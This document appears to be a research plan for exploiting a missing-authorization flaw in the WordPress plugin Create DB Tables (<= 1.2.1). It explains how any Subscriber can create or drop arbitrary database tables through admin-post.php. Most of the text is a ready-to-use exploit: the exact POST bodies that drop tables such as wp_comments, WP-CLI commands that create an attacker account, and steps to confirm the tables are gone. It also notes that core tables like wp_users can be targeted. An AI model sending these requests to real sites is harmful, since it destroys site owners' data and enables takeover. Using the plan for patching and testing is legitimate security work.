Create DB Tables <= 1.2.1 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Database Table Creation/Deletion via admin-post.php

This research plan outlines the steps required to demonstrate the missing authorization vulnerability in the Create DB Tables plugin (CVE-2026-4119), which allows any authenticated user (Subscriber level or higher) to create or delete arbitrary database tables.

---

1. Vulnerability Summary

The Create DB Tables plugin (<= 1.2.1) fails to implement authorization and CSRF protection on its administrative post-handling routines. The plugin registers hooks via admin_post.php for table creation (add_table) and deletion (delete_db_table).

The functions associated with these hooks, cdbt_create_new_table() and cdbt_delete_db_table(), lack:

1. Capability Checks: No current_user_can() check to ensure only administrators can modify the database schema.
2. Nonce Verification: No wp_verify_nonce() or check_admin_referer() to prevent unauthorized or cross-site requests.

As a result, a Subscriber-level user can trigger a DROP TABLE query against any table in the WordPress database, including wp_users and wp_options, leading to a total site compromise or denial of service.

2. Attack Vector Analysis

• Entry Point: https://<target>/wp-admin/admin-post.php
• Action (Deletion): delete_db_table (inferred from hook admin_post_delete_db_table)
• Action (Creation): add_table (inferred from hook admin_post_add_table)
• Vulnerable Parameter: db_table (used in cdbt_delete_db_table)
• Authentication: Required (Subscriber role or higher).
• Preconditions: The plugin must be active.

3. Code Flow

1. Request: An authenticated user sends a POST request to admin-post.php with the parameter action=delete_db_table.
2. Hook Execution: WordPress core processes the request and fires the admin_post_delete_db_table hook.
3. Plugin Callback: The plugin's registered callback cdbt_delete_db_table() is executed.
4. Missing Check: The function begins execution without verifying if the user has manage_options capabilities or providing a valid nonce.
5. Sink: The function retrieves $_POST['db_table'] and incorporates it into a SQL query:

   // Inferred logic within cdbt_delete_db_table()
   $table_name = $_POST['db_table'];
   $wpdb->query("DROP TABLE IF EXISTS $table_name");
   

6. Outcome: The database table is dropped.

4. Nonce Acquisition Strategy

According to the vulnerability description, the plugin entirely lacks nonce verification for these actions.

• Observation: The description explicitly states "without implementing any... nonce verification via wp_verify_nonce()/check_admin_referer()."
• Conclusion: No nonce is required for exploitation. The attack can be performed with just a valid session cookie.

5. Exploitation Strategy

Step 1: Create a Dummy Table for Safe Testing

Before attempting to drop core tables, we will create a dummy table to verify the vulnerability.

• URL: http://<target>/wp-admin/admin-post.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: add_table
  • db_table: wp_vulnerable_test
  • db_column_1: id (inferred need for column definition)
  • db_type_1: INT (inferred)

Step 2: Delete a Table (The Critical Exploit)

We will target a non-essential but standard table like wp_comments or the dummy table created in Step 1.

• URL: http://<target>/wp-admin/admin-post.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=delete_db_table&db_table=wp_comments
  

6. Test Data Setup

1. Install Plugin: Ensure create-db-tables <= 1.2.1 is installed and active.
2. Create Subscriber:

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
   

3. Verify Tables: Ensure wp_comments exists.

   wp db query "SHOW TABLES LIKE 'wp_comments';"
   

7. Expected Results

• HTTP Response: The server will likely return a 302 redirect back to an admin page or a 200 OK, depending on the plugin's redirect logic.
• Database State: The targeted table (wp_comments) will no longer exist in the database.
• Plugin Behavior: If the plugin attempts to list tables, the dropped table will be missing.

8. Verification Steps

After performing the HTTP request, verify the destruction of the table using WP-CLI:

# This command should return an empty result if the table was dropped
wp db query "SHOW TABLES LIKE 'wp_comments';"

# Alternatively, check for the disappearance of dummy tables created in setup
wp db query "SHOW TABLES LIKE 'wp_vulnerable_test';"

9. Alternative Approaches

If the delete_db_table action name is slightly different (e.g., cdbt_delete_table), search the plugin files for the admin_post registrations:

grep -r "admin_post_" /var/www/html/wp-content/plugins/create-db-tables/

If the deletion requires a specific nonce that was missed in the initial report, use the following to find where it might be localized:

1. Navigate to the plugin's settings page as an admin.
2. Use browser_eval to search for nonce strings in the global window object:

   Object.keys(window).filter(key => typeof window[key] === 'object' && window[key] !== null && 'nonce' in window[key]);
   

3. Even if a nonce exists, check if the backend actually validates it by omitting it from the request. The vulnerability description strongly suggests the check is missing entirely.